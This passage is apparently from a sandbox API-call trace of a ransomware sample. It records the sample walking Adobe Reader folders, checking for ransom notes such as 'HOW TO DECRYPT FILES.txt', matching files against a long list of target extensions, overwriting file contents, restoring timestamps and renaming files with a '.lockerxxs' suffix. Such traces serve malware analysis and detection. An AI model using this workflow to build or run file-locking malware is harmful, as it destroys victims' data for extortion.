10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf.lockerxxs")) returned 1 [0068.339] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.339] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.339] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.339] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.339] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.339] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf") returned="AdobeID.pdf" [0068.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\" [0068.339] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\") returned="" [0068.339] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt" [0068.339] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\how to decrypt files.txt")) returned 0x20 [0068.339] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" [0068.339] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.339] lstrlenA (lpString="*.ems") returned 5 [0068.339] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.340] lstrlenA (lpString="*.db") returned 4 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.340] lstrlenA (lpString="*.dbf") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.340] lstrlenA (lpString="*.myox") returned 6 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.340] lstrlenA (lpString="*.myo") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.340] lstrlenA (lpString="*.qbw") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.340] lstrlenA (lpString="*.qbb") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.340] lstrlenA (lpString="*.qbm") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.340] lstrlenA (lpString="*.qbo") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.340] lstrlenA (lpString="*.qbx") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.340] lstrlenA (lpString="*.qba") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.340] lstrlenA (lpString="*.qby") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.340] lstrlenA (lpString="*.qbj") returned 5 [0068.340] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.340] lstrlenA (lpString="*.ofx") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.341] lstrlenA (lpString="*.qif") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.341] lstrlenA (lpString="*.mye") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.341] lstrlenA (lpString="*.mbox") returned 6 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.341] lstrlenA (lpString="*.eml") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.341] lstrlenA (lpString="*.pst") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.341] lstrlenA (lpString="*.ost") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.341] lstrlenA (lpString="*.idx") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.341] lstrlenA (lpString="*.dbx") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.341] lstrlenA (lpString="*.sql") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.341] lstrlenA (lpString="*.mdb") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.341] lstrlenA (lpString="*.fdb") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.341] lstrlenA (lpString="*.wab") returned 5 [0068.341] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.341] lstrlenA (lpString="*.dat") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.342] lstrlenA (lpString="*.txt") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.342] lstrlenA (lpString="*.jpeg") returned 6 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.342] lstrlenA (lpString="*.jpg") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.342] lstrlenA (lpString="*.png") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.342] lstrlenA (lpString="*.php") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.342] lstrlenA (lpString="*.cs") returned 4 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.342] lstrlenA (lpString="*.cpp") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.342] lstrlenA (lpString="*.rar") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.342] lstrlenA (lpString="*.zip") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.342] lstrlenA (lpString="*.html") returned 6 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.342] lstrlenA (lpString="*.htm") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.342] lstrlenA (lpString="*.xlsx") returned 6 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.342] lstrlenA (lpString="*.xls") returned 5 [0068.342] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.342] lstrlenA (lpString="*.mp4") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.343] lstrlenA (lpString="*.ppt") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.343] lstrlenA (lpString="*.pptx") returned 6 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.343] lstrlenA (lpString="*.doc") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.343] lstrlenA (lpString="*.dot") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.343] lstrlenA (lpString="*.docx") returned 6 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.343] lstrlenA (lpString="*.7z") returned 4 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.343] lstrlenA (lpString="*.tar") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.343] lstrlenA (lpString="*.bz2") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.343] lstrlenA (lpString="*.gz") returned 4 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.343] lstrlenA (lpString="*.mkv") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.343] lstrlenA (lpString="*.eml") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.343] lstrlenA (lpString="*.msg") returned 5 [0068.343] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.343] lstrlenA (lpString="*.edb") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.344] lstrlenA (lpString="*.accdb") returned 7 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.344] lstrlenA (lpString="*.odb") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.344] lstrlenA (lpString="*.java") returned 6 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.344] lstrlenA (lpString="*.asm") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.344] lstrlenA (lpString="*.pfx") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.344] lstrlenA (lpString="*.pem") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.344] lstrlenA (lpString="*.p12") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.344] lstrlenA (lpString="*.gpg") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.344] lstrlenA (lpString="*.vsd") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.344] lstrlenA (lpString="*.odg") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.344] lstrlenA (lpString="*.raw") returned 5 [0068.344] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.344] lstrlenA (lpString="*.nef") returned 5 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.345] lstrlenA (lpString="*.svg") returned 5 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.345] lstrlenA (lpString="*.psd") returned 5 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.345] lstrlenA (lpString="*.vmx") returned 5 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.345] lstrlenA (lpString="*.vmdk") returned 6 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.345] lstrlenA (lpString="*.vdi") returned 5 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.345] lstrlenA (lpString="*.lay6") returned 6 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.345] lstrlenA (lpString="*.mpeg") returned 6 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.345] lstrlenA (lpString="*.djvu") returned 6 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.345] lstrlenA (lpString="*.tiff") returned 6 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.345] lstrlenA (lpString="*.backup") returned 8 [0068.345] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.345] lstrlenA (lpString="*.pdf") returned 5 [0068.345] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" [0068.345] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" [0068.346] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf." [0068.346] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.lockerxxs" [0068.346] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.347] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x104bf [0068.347] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.347] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.347] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10499, lpOverlapped=0x0) returned 1 [0068.350] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf") returned="DefaultID.pdf" [0068.351] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.351] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10499, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10499, lpOverlapped=0x0) returned 1 [0068.351] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.352] CloseHandle (hObject=0x94) returned 1 [0068.353] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf.lockerxxs")) returned 1 [0068.354] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.354] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.355] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="EUQ", cAlternateFileName="")) returned 1 [0068.355] lstrcmpA (lpString1=".", lpString2="EUQ") returned -1 [0068.355] lstrcmpA (lpString1="..", lpString2="EUQ") returned -1 [0068.355] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.355] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="EUQ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" [0068.355] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ") returned 63 [0068.355] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.355] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.355] 